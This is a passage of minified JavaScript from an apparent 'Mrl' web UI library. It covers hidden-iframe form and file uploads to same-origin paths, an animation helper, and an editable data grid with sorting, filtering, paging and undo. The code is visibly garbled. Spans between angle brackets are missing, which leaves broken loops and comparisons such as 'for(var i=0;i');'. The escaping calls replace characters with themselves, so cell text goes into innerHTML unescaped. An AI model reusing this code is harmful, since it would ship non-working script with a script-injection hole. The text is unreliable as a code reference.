(GeC.indexOf(GeA)==(0-1)){GeD=0};this.GFunctionThis.issent=GeD;this.GFunctionThis.sendmsg=GeB;if (this.GFunctionThis.onMrlSent){this.GFunctionThis.onMrlSent()};this.parentNode.removeChild(this);};GIF.issent='-1';GIF.sendmsg='Sending';setTimeout("Mrlgei('"+GIF.id+"').onMrlLoad()",100);return GIF;};MrlAnimat=function(MrlAnimat_Gey,MrlAnimat_Spd,MrlAnimat_Sec,MrlAnimat_Typ,MrlAnimat_Top,MrlAnimat_Left,MrlAnimat_Height,MrlAnimat_Width,MrlAnimat_Opa,MrlAnimat_Rot,MrlAnimat_ScrT,MrlAnimat_ScrL){var Gey=MrlAnimat_Gey;if (!Gey.tagName){return 0};var Spd=isNaN(MrlAnimat_Spd*1)?2:Math.round(MrlAnimat_Spd);var Sec=isNaN(MrlAnimat_Sec*1)?2000:Math.round(MrlAnimat_Sec);var FS=MrlAnimat_Typ;Gey.style.position=Gey.style.position?Gey.style.position:'absolute';FS+='';FS=FS.toUpperCase();var Tms=Math.round(Sec/50);if(!Tms){return 0};if (!document.body.MrlAnimat){var GeyA=Mrlce('div');GeyA.style.display='none';document.body.appendChild(GeyA);document.body.MrlAnimat=GeyA;}else{var GeyA=document.body.MrlAnimat;};var GeyB=GeyA.childNodes;var Chk=1;for(var i=0;i');if (this.GFunctionThis.onMrlSubmit){this.GFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};GIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+GIF.id+"').onMrlLoad()",100);return GIF;};MrlFileSubmit=function(){var GIF=Mrlce('iframe');GIF.style.position='absolute';GIF.style.top='-300px';GIF.style.left='0px';GIF.style.width='300px';GIF.style.height='200px';GIF.id='MrlUpload'+Math.round(Math.random()*99999);document.body.appendChild(GIF);GIF.src='/MRL/upload.php?Rand='+Math.round(Math.random()*99999);GIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeyA=this.contentWindow.document;if (!GeyA.getElementById('MrlImg')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};GeyA.getElementById('MrlImg').click();if(!GeyA.getElementById('MrlImg').onMrlUploadSelected){this.GFunctionThis.onMrlResult='';this.GFunctionThis.onMrlYN='C';if (this.GFunctionThis.onMrlStart){this.GFunctionThis.onMrlStart()};this.parentNode.removeChild(this);return 0;};var GeRes=GeyA.getElementById('MrlImg').value;GeRes=GeRes.substring(GeRes.lastIndexOf('\\')*1+1);this.GFunctionThis.onMrlResult=GeRes;this.GFunctionThis.onMrlYN='L';if (this.GFunctionThis.onMrlStart){this.GFunctionThis.onMrlStart()};GeyA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};GIF.GFunctionThis=GIF;GIF.onMrlStart=function(){alert('Please Set onMrlStart function() to the return onMrlResult and onMrlYN')};GIF.onMrlSubmit=function(){alert('Please Set onMrlSubmit function() to the return onMrlResult and onMrlYN')};GIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeyA=this.contentWindow.document;if (!GeyA.getElementById('MrlResult')){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeB=GeyA.getElementById('MrlResult').value;GeB+='';if (GeB.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};GeB=GeB.substring(0, GeB.length-3);if (GeB.substring(0,2)==decodeURI('%01')+decodeURI('%03')){this.GFunctionThis.onMrlYN='N';this.GFunctionThis.onMrlResult=MrlReplace(GeB.substring(2,GeB.length),decodeURI('%09')+decodeURI('%03'),'');}else if (GeB.substring(0,2)==decodeURI('%02')+decodeURI('%03')){this.GFunctionThis.onMrlYN='Y';this.GFunctionThis.onMrlResult=MrlReplace(GeB.substring(2,GeB.length),decodeURI('%09')+decodeURI('%03'),'');};if (this.GFunctionThis.onMrlSubmit){this.GFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};GIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+GIF.id+"').onMrlLoad()",100);return GIF;};MrlHostSend=function(GHostSend_GePth,GHostSend_GeText){var GIF=Mrlce('iframe');GIF.style.position='absolute';GIF.style.top='-300px';GIF.style.left='0px';GIF.style.width='300px';GIF.style.height='200px';var GePth=GHostSend_GePth;var GeText=GHostSend_GeText;var divi=decodeURI('%01')+decodeURI('%03');var GeURL=document.location;GIF.GGeText=GeURL+divi+GePth+divi+GeText;GIF.id='MrlHostSend'+Math.round(Math.random()*9999);document.body.appendChild(GIF);GIF.src='/lib/hosttext.html?Rand='+Math.round(Math.random()*9999);GIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeyA=this.contentWindow.document;if (!GeyA.getElementById('MrlContent')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};GeyA.getElementById('MrlContent').value=this.GGeText;GeyA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};GIF.GFunctionThis=GIF;GIF.onMrlSubmit=function(){alert('Please Set onMrlSubmit function() to the return')};GIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeyA=this.contentWindow.document;var GeB=GeyA.getElementsByTagName('textarea')[0].value;GeB+='';if (GeB.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};GeB=GeB.substring(0, GeB.length-3);this.GFunctionThis.onMrlResult=MrlReplace(GeB,decodeURI('%09')+decodeURI('%03'),'');if (this.GFunctionThis.onMrlSubmit){this.GFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};GIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+GIF.id+"').onMrlLoad()",100);return GIF;};MrlFileSend=function(){var GIF=Mrlce('iframe');GIF.style.position='absolute';GIF.style.top='-300px';GIF.style.left='0px';GIF.style.width='300px';GIF.style.height='200px';var divi=decodeURI('%01')+decodeURI('%03');var GeURL=document.location;GIF.GGeText=GeURL;GIF.id='MrlFileSend'+Math.round(Math.random()*9999);document.body.appendChild(GIF);GIF.src='/lib/filesend.html?Rand='+Math.round(Math.random()*9999);GIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var GeyA=this.contentWindow.document;if (!GeyA.getElementById('MrlImg')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};GeyA.getElementById('MrlImg').click();if(!GeyA.getElementById('MrlImg').onMrlUploadSelected){this.GFunctionThis.onMrlResult='';this.GFunctionThis.onMrlYN='C';if (this.GFunctionThis.onMrlStart){this.GFunctionThis.onMrlStart()};this.parentNode.removeChild(this);return 0;};var GeRes=GeyA.getElementById('MrlImg').value;GeRes=GeRes.substring(GeRes.lastIndexOf('\\')*1+1);this.GFunctionThis.onMrlResult=GeRes;this.GFunctionThis.onMrlYN='L';GeyA.getElementById('MrlContent').value=this.GGeText;if (this.GFunctionThis.onMrlStart){this.GFunctionThis.onMrlStart()};GeyA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};GIF.GFunctionThis=GIF;GIF.onMrlStart=function(){alert('Please Set onMrlStart function() to the return onMrlResult and onMrlYN')};GIF.onMrlSubmit=function(){alert('Please Set onMrlSubmit function() to the return onMrlResult and onMrlYN')};GIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeA=this.contentWindow.document.readyState;GeA=GeA+'';GeA=GeA.toUpperCase();if (GeA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var GeyA=this.contentWindow.document;var GeB=GeyA.getElementsByTagName('textarea')[0].value;GeB+='';if (GeB.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};GeB=GeB.substring(0, GeB.length-3);if (GeB.substring(0,2)==decodeURI('%01')+decodeURI('%03')){this.GFunctionThis.onMrlYN='N';this.GFunctionThis.onMrlResult=MrlReplace(GeB.substring(2,GeB.length),decodeURI('%09')+decodeURI('%03'),'');}else if (GeB.substring(0,2)==decodeURI('%02')+decodeURI('%03')){this.GFunctionThis.onMrlYN='Y';this.GFunctionThis.onMrlResult=MrlReplace(GeB.substring(2,GeB.length),decodeURI('%09')+decodeURI('%03'),'');};if (this.GFunctionThis.onMrlSubmit){this.GFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};GIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+GIF.id+"').onMrlLoad()",100);return GIF;};MrlGrid=function(GGrid_Head,GGrid_Data){var hd=GGrid_Head;var dat=GGrid_Data;var gr=Mrlce('div');gr.Gcelbk='#fafafa';gr.Gcelcl='#888';gr.Ghdbk='#69c';gr.Ghdcl='#fff';gr.Gsclbk='#9ce';gr.Gsclcl='#000';gr.Gsrbk='#adf';gr.Gsrcl='#555';gr.Gfam='verdana';gr.Gfs='12px';gr.style.overflow='hidden';gr.style.textAlign='left';gr.style.position='relative';gr.style.overflowX='scroll';var preImg=['/MRL/img/centerA_green.png','/MRL/img/upA_wred.png','/MRL/img/downA_wgreen.png','/MRL/img/filterA_grey.png','/MRL/img/filterA_wgrey.png'];gr.preImg=new Array();for(var i=0;i";var thy=thh.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;thy.removeChild(thy.childNodes[0]);var Wd='';var TT='';var tr=Mrlce('tr');var ttw=0;thy.appendChild(tr);thy.mtr=tr;tr.style.backgroundColor=gr.Ghdbk;var lbls=new Array();thy.lbls=lbls;gr.thy=thy;for(var i=0;i" , ">");lb.noWrap=true;lb.st=0;lb.col=i;lbl.appendChild(lb);lbl.gr=gr;var si=Mrlce('img');Mrlab4(si,2,null,12,12);si.style.right='4px';si.src='/MRL/img/centerA_green.png';lb.si=si;si.lb=lb;si.onclick=function(){this.lb.onclick()};lbl.appendChild(si);var fi=Mrlce('img');Mrlab4(fi,8,null,18,18);fi.style.right='16px';fi.style.display='none';fi.sorting=2;fi.src='/MRL/img/filterA_grey.png';lbl.appendChild(fi);lb.onclick=function(){var gr=this.gr;if(gr.sYN!='Y'){return 0};if(this.st==0){var ad=1;}else if(this.st==1){var ad=-1;}else if(this.st==-1){var ad=0;this.si.src='/MRL/img/centerA_green.png';};this.gr.col=this.col;this.gr.sortCol(this.col,ad);this.gr.grid();};fi.gr=gr;fi.col=i;fi.style.cursor='pointer';fi.filtyp=0;fi.onclick=function(){var gr=this.gr;var m=this.col;if(this.filtyp==0){var dat=gr.getFData();}else{var dat=gr.sdat;};var d=new Array();var td=this.parentNode.parentNode;for(var i=0;i")]='';ChkA=2}else{ChkB++};};if(ChkB==(c.length-2)){ChkA=1};if(c[0].value!=''){ChkA=2};if(ChkA==1){na['MrlSortedShowAll']='';this.fi.filtyp=0;this.fi.src='/MRL/img/filterA_grey.png'}else{this.fi.filtyp=1;this.fi.src='/MRL/img/filterA_wgrey.png'};gr.sortList[m]=na;gr.grid();if(gr.mafterFilter){gr.mafterFilter()};};var sl=gr.sortList[m];dv.onblur=function(){MrlAnimat(this.dv,2,500,'sf',null,null,20);this.dv.onMrlAnimatEnd=function(){this.update();this.fi.sorting=2;this.parentNode.removeChild(this)};};dv.dv=dv;dv.onfocus=function(){MrlAnimat(this.dv,2,500,'fs',null,null,this.dv.tp);this.dv.onMrlAnimatEnd=function(){};};var op=Mrlce('input');var ht=dv.gr.Gfs.substring(0,dv.gr.Gfs.length-2)*1+6;Mrlab4(op,1,2,ht,td.offsetWidth-4);op.style.border='solid 1px #aaa';op.style.fontFamily=gr.Gfam;op.style.fontSize=gr.Gfs;op.style.zIndex='1';op.dv=dv;op.value=sl['MrlSortedInputIndex'];op.onfocus=function(){this.dv.onfocus()};op.onblur=function(){this.dv.onblur()};op.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){this.onblur()}};dv.op=op;dv.appendChild(op);var Tp=0;Tp=Tp*1+ht;var op1=Mrlce('a');Mrlab4(op1,Tp*1+4,2,ht,td.offsetWidth/2-6);op1.style.zIndex='3';op1.innerHTML='Clear';op1.style.textAlign='right';op1.style.fontFamily=gr.Gfam;op1.style.fontSize=gr.Gfs;op1.style.color=gr.Ghdcl;op1.style.zIndex='2';op1.style.whiteSpace='noWrap';op1.noWrap=true;op1.dv=dv;op1.style.overflow='hidden';op1.style.cursor='pointer';dv.appendChild(op1);var opdivi=Mrlce('a');Mrlab4(opdivi,Tp*1+4,td.offsetWidth/2-2,ht,4);opdivi.style.zIndex='2';opdivi.innerHTML='|';opdivi.style.textAlign='center';opdivi.style.fontFamily=gr.Gfam;opdivi.style.fontSize=gr.Gfs;opdivi.style.color=gr.Ghdcl;opdivi.dv=dv;dv.appendChild(opdivi);var op2=Mrlce('a');Mrlab4(op2,Tp*1+4,td.offsetWidth/2+4*1,ht,td.offsetWidth/2-6);op2.innerHTML='Filter';op2.style.fontFamily=gr.Gfam;op2.style.fontSize=gr.Gfs;op2.style.color=gr.Ghdcl;op2.style.zIndex='2';op2.style.whiteSpace='noWrap';op2.noWrap=true;op2.style.textAlign='left';op2.style.overflow='hidden';op2.style.cursor='pointer';op2.dv=dv;dv.appendChild(op2);op1.gr=gr;op2.gr=gr;op1.dv=dv;op1.onclick=function(){var dv=this.dv;var cb=dv.getElementsByTagName('input');cb[0].value='';for(var i=2;i" , ">");op2.op1=op1;op2.onclick=function(){this.op1.click()};if(sl[i]!==undefined){op1.checked=true};dv.appendChild(op2);op1.dv=dv;op1.onfocus=function(){this.dv.onfocus()};op1.onblur=function(){this.dv.onblur()};Tp=Tp*1+ht;};gr.appendChild(dv);op.dv=dv;dv.op.select();dv.style.height='1px';dv.dv=dv;if (Tp>(gr.thd.offsetHeight/3*2)){Tp=parseInt((gr.thd.offsetHeight/3*2))};dv.tp=Tp;MrlAnimat(dv,2,500,'fs',null,null,Tp);};td.appendChild(lbl);tr.appendChild(td);};gr.dat=new Array();gr.odat=new Array();gr.sdat=new Array();for(var i=0;i
";var ty=thd.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.removeChild(ty.childNodes[0]);ty.parentNode.style.height='10px';ty.parentNode.style.borderBottom='solid 1px #aaa';gr.ty=ty;ty.gr=gr;gr.thd=thd;var thdselbottom=Mrlce('div');thdselbottom.style.position='relative';thdselbottom.style.display='block';thdselbottom.style.height='35px';thdselbottom.style.width='20px';thd.appendChild(thdselbottom);gr.sortAD=new Array();gr.sortCol=function(grsortcol,grsortad){var sad=this.sortAD;if(grsortcol===null){return 0};ad=grsortad;if(ad!=0&&ad!=1&&ad!=(0-1)){return 0};var c=grsortcol;var dat=this.dat.slice();var na=new Array();for(var i in sad){if (i != c){na[i]=sad[i];dat.sort(function(a,b){return !isNaN(a[i]*b[i])?a[i]*1>b[i]*1?sad[i]:a[i]*1b[i]?sad[i]:a[i]b[c]*1?ad:a[c]*1b[c]?ad:a[c]=td.offsetWidth-10){td.style.cursor='e-resize';td.childNodes[0].childNodes[0].style.cursor='e-resize';msetdrag(td);td.mmove=function(){var td=this;var gr=td.gr;var d=this;var hc=d.hc;var i=td.i;if((hc.cy-hc.pry)>0){gr.colwd(i,(hc.pw*1+(hc.cy-hc.pry)*1));}else{if(((hc.pw)*1+(hc.cy-hc.pry)*1)<2){gr.colwd(i,2)}else{gr.colwd(i,((hc.pw)*1+(hc.cy-hc.pry)*1));};};};td.mpick=function(){var td=this;var hc=td.hc;hc.style.cursor='e-resize'};td.mdrop=function(){mcleardrag(this)};}else{td.style.cursor='pointer';td.childNodes[0].childNodes[0].style.cursor='pointer';mcleardrag(td);};};};};};gr.mhdhtYN='N';gr.mhdht=function(){var gr=this;var tds=gr.thh.getElementsByTagName('td');for(var i=0;i=gr.offsetWidth){p.style.width='100%'}else{p.style.width=gr.ttw+'px'};};gr.chColor=function(chColor_color){var gr=this.gr;var mc=chColor_color;if(!mc){return 0};if(mc.substring(0,1)!='#'){return 0};if(mc.length!=7){return 0};var mhex=[['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'],['0','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15']];var mtohex=new Array();var mtoten=new Array();for(var i=0;i=381){var tara=255;var tarb=0;}else{var tara=0;var tarb=255;};var nr=parseInt(rten*1+(tarb-rten)/100*90);var ng=parseInt(gten*1+(tarb-gten)/100*90);var nb=parseInt(bten*1+(tarb-bten)/100*90);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nfc='#'+nr+ng+nb;var nr=parseInt(rten*1+(tarb-rten)/100*80);var ng=parseInt(gten*1+(tarb-gten)/100*80);var nb=parseInt(bten*1+(tarb-bten)/100*80);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nfbc='#'+nr+ng+nb;var nr=parseInt(rten*1+(tarb-rten)/100*20);var ng=parseInt(gten*1+(tarb-gten)/100*20);var nb=parseInt(bten*1+(tarb-bten)/100*20);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nc='#'+nr+ng+nb;var nr=parseInt(rten*1+(tarb-rten)/100*30);var ng=parseInt(gten*1+(tarb-gten)/100*30);var nb=parseInt(bten*1+(tarb-bten)/100*30);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nbc='#'+nr+ng+nb;gr.Gcelbk='#fafafa';gr.Gcelcl='#888';gr.Ghdbk=mc;gr.Ghdcl=mrgb(mc)[90];gr.Gsclbk=nbc;gr.Gsclcl=nfbc;gr.Gsrbk=nc;gr.Gsrcl=nfbc;gr.thy.mtr.style.backgroundColor=gr.Ghdbk;var lbls=gr.thy.lbls;for(var i=0;i=30){gr.mundoary[gr.mundo-30]='';};gr.mundoary[gr.mundo]=gr.getData().slice();};for(var n=0;this.ty.childNodes.length!=0;n=0){this.ty.removeChild(this.ty.childNodes[0]);};var ChkA=1;var nn=0;var nnn=0;for(var n=0;n=(gr.pg*1+1)*gr.rpp){ChkA=4}};for(var m=0;m" , ">");}else{lbl.innerHTML=dat[n][m];};}else if(gr.cit[m]=='s'){if(!gr.mShowTag){lbl.innerHTML=MrlReplace(MrlReplace(MrlReplace(dat[n][m], "&", "&"), "<", "<"), ">" , ">");}else{lbl.innerHTML=dat[n][m];};}else if(gr.cit[m]=='p'){var strs='******************************************************************************************************************************';lbl.innerHTML=strs.substring(0,dat[n][m].length);}else if(gr.cit[m]=='c'){var cbd=Mrlce('div');cbd.style.position='relative';cbd.style.height='20px';cbd.style.overflow='hidden';cbd.style.width=hd[m][1]+'px';cbd.style.display='block';var cb=Mrlce('input');cb.type='checkbox';cb.style.height='15px';cb.style.width='15px';cb.ed=ed;cb.td=td;cb.onkeydown=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==9){this.onMrlblur();this.onblur=function(){this.onblur=function(){this.onMrlblur()}}};if(kc==9||kc==16||kc==113||kc==13||kc==27){this.ed.onkeydown(e)};if(kc==9){return false};};cb.onkeyup=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.ed.onkeyup(e)};if(kc==9){return false};};cb.onblur=function(){};cb.onMrlblur=function(){if(this.checked){this.ed.value='true';this.td.val('true')}else{this.ed.value='false';this.td.val('false')};};cb.onclick=function(){gr.cells(this.td.row,this.td.col).sele();if(this.checked){this.ed.value='true';this.td.val('true')}else{this.ed.value='false';this.td.val('false')};};document.body.appendChild(cb);if(dat[n][m]=='true'){cb.checked=true};if(gr.edYN!='Y'){cb.disabled=true};if(gr.editAry[m]!='Y'){cb.disabled=true};cbd.appendChild(cb);td.appendChild(cbd);if(dat[n][m]=='true'){lbl.innerHTML=true}else{var q=gr.sdat[n][gr.sdat[n].length-1];gr.sdat[n][m]='false';gr.dat[q][m]='false';this.value='false';lbl.innerHTML=false;};lbl.style.display='none';}else{lbl.innerHTML='NA';};lbl.style.fontFamily=this.Gfam;lbl.style.fontSize=this.Gfs;if(1==2){lbl.style.whiteSpace='noWrap';lbl.noWrap=true;};lbl.style.wordBreak='break-all';td.appendChild(lbl);td.row=nn;td.sdr=n;td.col=m;td.lbl=lbl;td.gr=gr;td.style.borderLeft='solid 1px #aaa';td.style.borderTop='solid 1px #aaa';td.style.wordBreak='break-all';td.style.height=(this.gr.Gfs.substring(0,this.gr.Gfs.length-2)*1+6)+'px';td.value=dat[n][m];td.sele=this.Gcellselect;td.edit=this.Gcelledit;td.val=function(val_val,val_TF,val_undo){var gr=this.gr;var a=this;if((!val_val)&&(val_val!=0)){return gr.sdat[a.sdr][a.col]};if(!gr.mShowTag){this.lbl.innerHTML=MrlReplace(MrlReplace(MrlReplace(val_val, "&", "&"), "<", "<"), ">" , ">");}else{this.lbl.innerHTML=val_val;};var a=this;var q=gr.sdat[a.sdr][gr.sdat[a.sdr].length-1];gr.sdat[a.sdr][a.col]=val_val;gr.dat[q][a.col]=val_val;this.value=val_val;if(val_TF!==false){if(this.onch){this.onch()};if(gr.oncolch[this.col]){this.oncolch=gr.oncolch[this.col];this.oncolch()};};gr.ttltrCal();if(!val_undo){if(gr.getData()!=gr.mundoary[gr.mundo]||gr.mundo==(0-1)){gr.mundo++;if(gr.mundo>=30){gr.mundoary[gr.mundo-30]='';};gr.mundoary[gr.mundo]=gr.getData().slice();};};return val_val;};td.onclick=function(){this.edit()};tr.appendChild(td);};if(ChkA==1){nn++;nnn++;this.ty.appendChild(tr);}else if(ChkA==4){nnn++;};};this.prow=0;this.pcol=0;this.ctrl.select();this.ed.style.left=(0-this.ed.offsetWidth-100)+'px';if(this.ty.childNodes.length>0){this.ed.value=this.cells(0,this.col).val();this.cells(0,this.col).sele()};this.thd.style.height='120%';this.thd.style.height='100%';if(parseInt((nnn-1)/gr.rpp)=gr.offsetWidth){p.style.width='100%'}else{p.style.width=gr.ttw+'px'};gr.thd.style.width=gr.ttw+'px';gr.thh.style.width=gr.ttw+'px';if(gr.tl){gr.tl.style.width=gr.ttw+'px'};var a=Mrlce('a');a.style.position='relative';a.style.marginTop='5px';a.href='javascript:void(0)';a.innerHTML='<';a.gr=gr;a.onclick=function(){if(this.gr.pg>0){this.gr.pg--;this.gr.grid()}};p.appendChild(a);var sel=Mrlce('select');sel.style.margin='5px 20px 0px 20px';sel.style.position='relative';for(var i=0;i=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(r,c).sele();return false;}else if(kc==35){var r=this.gr.row;var hd=this.gr.hd;var cc=this.gr.hd.length;for(var c=cc-1;c>=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c<=0){c=cc;break;};};this.gr.cells(r,c).sele();return false;}else if(kc==33&&this.gr.kdc==1){var t=this.gr.selpg.value;if(t!=1){this.gr.selpg.value=1;this.gr.selpg.onchange();return false;};}else if(kc==33){var t=this.gr.selpg.value;if(t!=1){this.gr.selpg.value=t*1-1;this.gr.selpg.onchange();return false;};}else if(kc==34&&this.gr.kdc==1){var t=this.gr.selpg.value;if(t!=this.gr.selpg.options.length){this.gr.selpg.value=this.gr.selpg.options.length;this.gr.selpg.onchange();return false;};}else if(kc==34){var t=this.gr.selpg.value;if(t!=this.gr.selpg.options.length){this.gr.selpg.value=t*1+1;this.gr.selpg.onchange();return false;};}else if((kc==90||kc==122)&&this.gr.kdc==1){var r=this.gr.row;var c=this.gr.col;this.gr.mfuncundo();this.gr.cells(r,c).sele();}else if((kc==65||kc==97)&&this.gr.kdc==1){var a=this.gr.sdat[this.gr.selectedCell.sdr].slice(0,this.gr.hd.length).join(decodeURI('%09'))+decodeURI('%0a');var a=Mrlce('textarea');a.id='MrlGetGridCopy_'+parseInt(Math.random()*99999);a.gr=this.gr;Mrlab4(a,0,-1000,200,200);document.body.appendChild(a);a.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if(kc==27||kc==37||kc==38||kc==39||kc==40){this.onblur()};};a.onblur=function(){var gr=this.gr;var ty=gr.ty;var trs=ty.getElementsByTagName('tr');for(var i=0;i=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c<=0){c=cc;break;};};this.gr.cells(this.gr.row,c).edit();return false;}else if(kc==9&&this.gr.rc==2){for(var c=this.gr.col*1+1;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(this.gr.row,c).edit();return false;}else if(kc==46){if(this.gr.editAry[this.gr.col]=='Y'&&this.gr.edYN=='Y'){if(this.gr.cit[this.gr.col]=='c'){if(this.gr.selectedCell.val()!='false'){this.gr.selectedCell.val('false');this.gr.selectedCell.getElementsByTagName('input')[0].checked=false;};}else{if(this.gr.selectedCell.val()!=''){this.gr.selectedCell.val('');};};};}else if(kc==37){var cc=this.gr.col;for(var c=cc-1;c>=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c==0){c=cc;break;};};this.gr.cells(this.gr.row,c).sele();}else if(kc==38){this.gr.cells(this.gr.row*1-1,this.gr.col).sele();}else if(kc==39){for(var c=this.gr.col*1+1;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(this.gr.row,c).sele();}else if(kc==40){this.gr.cells(this.gr.row*1+1,this.gr.col).sele();}else{this.gr.selectedCell.edit();};};ctrl.onkeyup=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=2;}else if(kc==17){this.gr.kdc=2;};};ctrl.onblur=function(){var gr=this.gr;gr.rc=2;gr.kdc=2;};var ed=Mrlce('input');Mrlab4(ed,0,-100,20,100);ed.style.backgroundColor=gr.Gsclbk;ed.style.color=gr.Gsclcl;ed.style.border='none';ed.style.zIndex='5';ed.style.fontSize=gr.Gfs;ed.style.fontFamily=gr.Gfam;thd.childNodes[0].appendChild(ed);gr.ed=ed;ed.gr=gr;ed.onfocus=function(){this.style.fontSize=this.gr.Gfs;};ed.onkeydown=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=1;}else if(kc==13||kc==113){ed.onMrlblur=ed.onblur;ed.onblur=function(){};if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};this.style.left=(0-this.offsetWidth)+'px';this.gr.ctrl.select();ed.onblur=ed.onMrlblur;if(kc==13){setTimeout("var gr=Mrlgei('"+this.gr.id+"');gr.cells(gr.row*1+1,gr.col).sele()",1);};}else if(kc==27){this.style.left=(0-this.offsetWidth)+'px';this.gr.ctrl.select();}else if(kc==9&&this.gr.rc==1){ed.onMrlblur=ed.onblur;ed.onblur=function(){};if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};var cc=this.gr.col*1;for(var c=cc-1;c>=0;c--){if(this.gr.hd[c][1]*1>=3){break;};if(c<=0){c=cc;break;};};this.gr.cells(this.gr.row,c).edit();ed.onblur=ed.onMrlblur;return false;}else if(kc==9&&this.gr.rc==2){ed.onMrlblur=ed.onblur;ed.onblur=function(){};if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var 